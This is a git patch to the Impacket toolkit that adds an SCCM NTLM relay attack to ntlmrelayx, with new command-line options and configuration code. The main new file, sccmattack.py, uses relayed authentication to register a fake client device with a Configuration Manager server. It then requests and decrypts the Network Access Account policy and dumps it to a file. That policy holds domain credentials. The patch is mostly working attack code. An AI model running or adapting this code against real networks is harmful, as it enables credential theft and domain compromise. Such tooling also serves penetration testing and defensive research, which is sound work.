From 2d1c46fb078a04d98a3bcce3f886912706cc63ea Mon Sep 17 00:00:00 2001 From: Tw1sm Date: Wed, 12 Oct 2022 11:56:03 -0400 Subject: [PATCH] NTLM relay to sccm based on sccmwtf --- examples/ntlmrelayx.py | 11 + .../examples/ntlmrelayx/attacks/httpattack.py | 5 +- .../attacks/httpattacks/sccmattack.py | 304 ++++++++++++++++++ .../ntlmrelayx/clients/httprelayclient.py | 5 +- impacket/examples/ntlmrelayx/utils/config.py | 16 + requirements.txt | 2 + setup.py | 3 +- 7 files changed, 343 insertions(+), 3 deletions(-) create mode 100644 impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 81f2360abe..f1d36c0cdc 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -173,6 +173,9 @@ def start_servers(options, threads): options.cert_outfile_path) c.setAltName(options.altname) + c.setIsSCCMAttack(options.sccm) + c.setSCCMOptions(options.sccm_device, options.sccm_fqdn, + options.sccm_server, options.sccm_sleep) #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPRelayServer and options.r is not None: @@ -357,6 +360,14 @@ def stop_servers(threads): help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') + # SCCM options + sccmoptions = parser.add_argument_group("SCCM attack options") + sccmoptions.add_argument('--sccm', action='store_true', required=False, help='Enable SCCM relay attack') + sccmoptions.add_argument('--sccm-device', action='store', metavar="DEVICE", required=False, help='Name of fake device to register') + sccmoptions.add_argument('--sccm-fqdn', action='store', metavar="FQDN", required=False, help='Fully qualified domain name of the target domain') + sccmoptions.add_argument('--sccm-server', action='store', metavar="HOSTNAME", required=False, help='Hostname of the target SCCM server') + sccmoptions.add_argument('--sccm-sleep', action='store', metavar="SECONDS", type=int, default=5, required=False, help='Sleep time before requesting policy') + try: options = parser.parse_args() except Exception as e: diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py index 725bdb9f7f..094f802caf 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py @@ -17,11 +17,12 @@ from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmattack import SCCMAttack PROTOCOL_ATTACK_CLASS = "HTTPAttack" -class HTTPAttack(ProtocolAttack, ADCSAttack): +class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMAttack): """ This is the default HTTP attack. This attack only dumps the root page, though you can add any complex attack below. self.client is an instance of urrlib.session @@ -34,6 +35,8 @@ def run(self): if self.config.isADCSAttack: ADCSAttack._run(self) + elif self.config.isSCCMAttack: + SCCMAttack._run(self) else: # Default action: Dump requested page to file, named username-targetname.html # You can also request any page on the server via self.client.session, diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py new file mode 100644 index 0000000000..012626ae25 --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py @@ -0,0 +1,304 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# SCCM relay attack +# Credits go to @_xpn_, attack code is pulled from his SCCMWTF repository (https://github.com/xpn/sccmwtf) +# +# Authors: +# Tw1sm (@Tw1sm) + + +import datetime +import zlib +import requests +import re +import time +from pyasn1.codec.der.decoder import decode +from pyasn1_modules import rfc5652 +from cryptography.hazmat.primitives import serialization +from cryptography.hazmat.primitives.serialization import PublicFormat +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15 +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography import x509 +from cryptography.x509.oid import NameOID +from cryptography.hazmat.primitives import hashes +from cryptography.x509 import ObjectIdentifier +from requests_toolbelt.multipart import decoder +from impacket import LOG + + +class SCCMAttack: + dateFormat = "%Y-%m-%dT%H:%M:%SZ" + + now = datetime.datetime.utcnow() + + # Huge thanks to @_Mayyhem with SharpSCCM for making requesting these easy! + registrationRequestWrapper = "{data}{signature}\x00" + registrationRequest = """{encryption}{signature}""" + msgHeader = """{{00000000-0000-0000-0000-000000000000}}{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}0httpSyncdirect:{client}:SccmMessaging{date}{client}mp:MP_ClientRegistrationMP_ClientRegistration{sccmserver}60000""" + msgHeaderPolicy = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}0httpSyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_PolicyManagerMP_PolicyManager{sccmserver}60000""" + policyBody = """GUID:{clientid}{clientfqdn}{client}SMS:PRI""" + # reportBody = """01GUID:{clientid}5.00.8325.0000{client}8502057Inventory DataFull{date}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date}""" + + + def _run(self): + LOG.info("Creating certificate for our fake server...") + self.createCertificate(True) + + LOG.info("Registering our fake server...") + uuid = self.sendRegistration(self.config.sccm_device, self.config.sccm_fqdn) + + LOG.info(f"Done.. our ID is {uuid}") + + # If too quick, SCCM requests fail (DB error, jank!) + LOG.info(f"Sleeping {self.config.sccm_sleep} seconds to allow SCCM server time to process...") + time.sleep(self.config.sccm_sleep) + + target_fqdn = f"{self.config.sccm_device}.{self.config.sccm_fqdn}" + LOG.info("Requesting NAAPolicy...") + urls = self.sendPolicyRequest(self.config.sccm_device, target_fqdn, uuid, self.config.sccm_device, target_fqdn, uuid) + + LOG.info("Parsing policy...") + + for url in urls: + result = self.requestPolicy(url) + if result.startswith(""): + result = self.requestPolicy(url, uuid, True, True) + decryptedResult = self.parseEncryptedPolicy(result) + Tools.write_to_file(decryptedResult, "naapolicy.xml") + + LOG.info("Decrypted policy dumped to naapolicy.xml") + + + def sendCCMPostRequest(self, data, auth=False): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender", + "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" + } + + if auth: + self.client.request("CCM_POST", "/ccm_system_windowsauth/request", headers=headers, body=data) + r = self.client.getresponse() + content = r.read() + else: + tried = 0 + while True: + if tried < 10: + self.client.request("CCM_POST", "/ccm_system/request", headers=headers, body=data) + r = self.client.getresponse() + content = r.read() + tried += 1 + if content == b'': + LOG.info("Policy request appears to have failed, resending in 5 seconds") + time.sleep(5) + else: + break + else: + LOG.info("Policy request failed 10 times, exiting") + exit() + + multipart_data = decoder.MultipartDecoder(content, r.getheader("Content-Type")) + for part in multipart_data.parts: + if part.headers[b'content-type'] == b'application/octet-stream': + return zlib.decompress(part.content).decode('utf-16') + + + def requestPolicy(self, url, clientID="", authHeaders=False, retcontent=False): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender" + } + + if authHeaders == True: + headers["ClientToken"] = "GUID:{};{};2".format( + clientID, + SCCMAttack.now.strftime(SCCMAttack.dateFormat) + ) + headers["ClientTokenSignature"] = CryptoTools.signNoHash(self.key, "GUID:{};{};2".format(clientID, SCCMAttack.now.strftime(SCCMAttack.dateFormat)).encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper() + + self.client.request("GET", url, headers=headers) + r = self.client.getresponse() + content = r.read() + if retcontent == True: + return content + else: + return content.decode() + + + def createCertificate(self, writeToTmp=False): + self.key = CryptoTools.generateRSAKey() + self.cert = CryptoTools.createCertificateForKey(self.key, u"ConfigMgr Client") + + if writeToTmp: + with open("/tmp/key.pem", "wb") as f: + f.write(self.key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.BestAvailableEncryption(b"mimikatz"), + )) + + with open("/tmp/certificate.pem", "wb") as f: + f.write(self.cert.public_bytes(serialization.Encoding.PEM)) + + + def sendRegistration(self, name, fqname): + b = self.cert.public_bytes(serialization.Encoding.DER).hex().upper() + + embedded = SCCMAttack.registrationRequest.format( + date=SCCMAttack.now.strftime(SCCMAttack.dateFormat), + encryption=b, + signature=b, + client=name, + clientfqdn=fqname + ) + + signature = CryptoTools.sign(self.key, Tools.encode_unicode(embedded)).hex().upper() + request = Tools.encode_unicode(SCCMAttack.registrationRequestWrapper.format(data=embedded, signature=signature)) + "\r\n".encode('ascii') + + header = SCCMAttack.msgHeader.format( + bodylength=len(request)-2, + client=name, + date=SCCMAttack.now.strftime(SCCMAttack.dateFormat), + sccmserver=self.config.sccm_server + ) + + data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + zlib.compress(request) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + deflatedData = self.sendCCMPostRequest(data, True) + r = re.findall("SMSID=\"GUID:([^\"]+)\"", deflatedData) + if r != None: + return r[0] + + return None + + def sendPolicyRequest(self, name, fqname, uuid, targetName, targetFQDN, targetUUID): + body = Tools.encode_unicode(SCCMAttack.policyBody.format(clientid=targetUUID, clientfqdn=targetFQDN, client=targetName)) + b"\x00\x00\r\n" + payloadCompressed = zlib.compress(body) + + bodyCompressed = zlib.compress(body) + public_key = CryptoTools.buildMSPublicKeyBlob(self.key) + clientID = f"GUID:{uuid.upper()}" + clientIDSignature = CryptoTools.sign(self.key, Tools.encode_unicode(clientID) + "\x00\x00".encode('ascii')).hex().upper() + payloadSignature = CryptoTools.sign(self.key, bodyCompressed).hex().upper() + + header = SCCMAttack.msgHeaderPolicy.format( + bodylength=len(body)-2, + sccmserver=self.config.sccm_server, + client=name, + publickey=public_key, + clientIDsignature=clientIDSignature, + payloadsignature=payloadSignature, + clientid=uuid, + date=SCCMAttack.now.strftime(SCCMAttack.dateFormat) + ) + + data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + bodyCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + deflatedData = self.sendCCMPostRequest(data) + result = re.search("PolicyCategory=\"NAAConfig\".*?([^]]+)", deflatedData, re.DOTALL + re.MULTILINE) + #r = re.findall("http://(/SMS_MP/.sms_pol?[^\]]+)", deflatedData) + return [result.group(1)] + + def parseEncryptedPolicy(self, result): + # Man.. asn1 suxx! + content, rest = decode(result, asn1Spec=rfc5652.ContentInfo()) + content, rest = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData()) + encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets() + iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:] + body = content['encryptedContentInfo']['encryptedContent'].asOctets() + + decrypted = CryptoTools.decrypt3Des(self.key, encryptedRSAKey, iv, body) + policy = decrypted.decode('utf-16') + return policy + + +class Tools: + @staticmethod + def encode_unicode(input): + # Remove the BOM + return input.encode('utf-16')[2:] + + @staticmethod + def write_to_file(input, file): + with open(file, "w") as fd: + fd.write(input) + + +class CryptoTools: + @staticmethod + def createCertificateForKey(key, cname): + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.COMMON_NAME, cname), + ]) + cert = x509.CertificateBuilder().subject_name( + subject + ).issuer_name( + issuer + ).public_key( + key.public_key() + ).serial_number( + x509.random_serial_number() + ).not_valid_before( + datetime.datetime.utcnow() - datetime.timedelta(days=2) + ).not_valid_after( + datetime.datetime.utcnow() + datetime.timedelta(days=365) + ).add_extension( + x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False, + key_agreement=False, content_commitment=False, data_encipherment=True, + crl_sign=False, encipher_only=False, decipher_only=False), + critical=False, + ).add_extension( + # SMS Signing Certificate (Self-Signed) + x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]), + critical=False, + ).sign(key, hashes.SHA256()) + + return cert + + @staticmethod + def generateRSAKey(): + key = rsa.generate_private_key(public_exponent=65537, key_size=2048) + return key + + @staticmethod + def buildMSPublicKeyBlob(key): + # Built from spec: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb + blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00" + blob = blobHeader + key.public_key().public_numbers().n.to_bytes(int(key.key_size / 8), byteorder="little") + return blob.hex().upper() + + # Signs data using SHA256 and then reverses the byte order as per SCCM + @staticmethod + def sign(key, data): + signature = key.sign(data, PKCS1v15(), hashes.SHA256()) + signature_rev = bytearray(signature) + signature_rev.reverse() + return bytes(signature_rev) + + # Same for now, but hints in code that some sigs need to have the hash type removed + @staticmethod + def signNoHash(key, data): + signature = key.sign(data, PKCS1v15(), hashes.SHA256()) + signature_rev = bytearray(signature) + signature_rev.reverse() + return bytes(signature_rev) + + @staticmethod + def decrypt(key, data): + print(key.decrypt(data, PKCS1v15())) + + @staticmethod + def decrypt3Des(key, encryptedKey, iv, data): + desKey = key.decrypt(encryptedKey, PKCS1v15()) + + cipher = Cipher(algorithms.TripleDES(desKey), modes.CBC(iv)) + decryptor = cipher.decryptor() + return decryptor.update(data) + decryptor.finalize() diff --git a/impacket/examples/ntlmrelayx/clients/httprelayclient.py b/impacket/examples/ntlmrelayx/clients/httprelayclient.py index c2291fd7a7..cd453c24ce 100644 --- a/impacket/examples/ntlmrelayx/clients/httprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/httprelayclient.py @@ -97,7 +97,10 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): token = authenticateMessageBlob auth = base64.b64encode(token).decode("ascii") headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)} - self.session.request('GET', self.path,headers=headers) + if self.serverConfig.isSCCMAttack: + self.session.request("CCM_POST", self.path, headers=headers) + else: + self.session.request('GET', self.path,headers=headers) res = self.session.getresponse() if res.status == 401: return None, STATUS_ACCESS_DENIED diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 395381d733..10830d2852 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -106,6 +106,13 @@ def __init__(self): self.ShadowCredentialsExportType = None self.ShadowCredentialsOutfilePath = None + # SCCM attack options + self.isSCCMAttack = False + self.sccm_device = None + self.sccm_fqdn = None + self.sccm_server = None + self._sccm_sleep = 5 + def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -243,6 +250,15 @@ def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentials def setAltName(self, altName): self.altName = altName + def setIsSCCMAttack(self, isSCCMAttack): + self.isSCCMAttack = isSCCMAttack + + def setSCCMOptions(self, device, fqdn, server, sleep_time): + self.sccm_device = device + self.sccm_fqdn = fqdn + self.sccm_server = server + self.sccm_sleep = sleep_time + def parse_listening_ports(value): ports = set() for entry in value.split(","): diff --git a/requirements.txt b/requirements.txt index cd19c89ecd..559d15b0eb 100644 --- a/requirements.txt +++ b/requirements.txt @@ -9,3 +9,5 @@ ldapdomaindump>=0.9.0 flask>=1.0 pyreadline;sys_platform == 'win32' dsinternals +pyasn1-modules +requests-toolbelt diff --git a/setup.py b/setup.py index fba743fda6..35c63cdd93 100644 --- a/setup.py +++ b/setup.py @@ -70,7 +70,8 @@ def read(fname): scripts=glob.glob(os.path.join('examples', '*.py')), data_files=data_files, install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=21.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', - 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'dsinternals'], + 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'dsinternals', + 'pyasn1-modules', 'requests-toolbelt'], extras_require={'pyreadline:sys_platform=="win32"': [], }, classifiers=[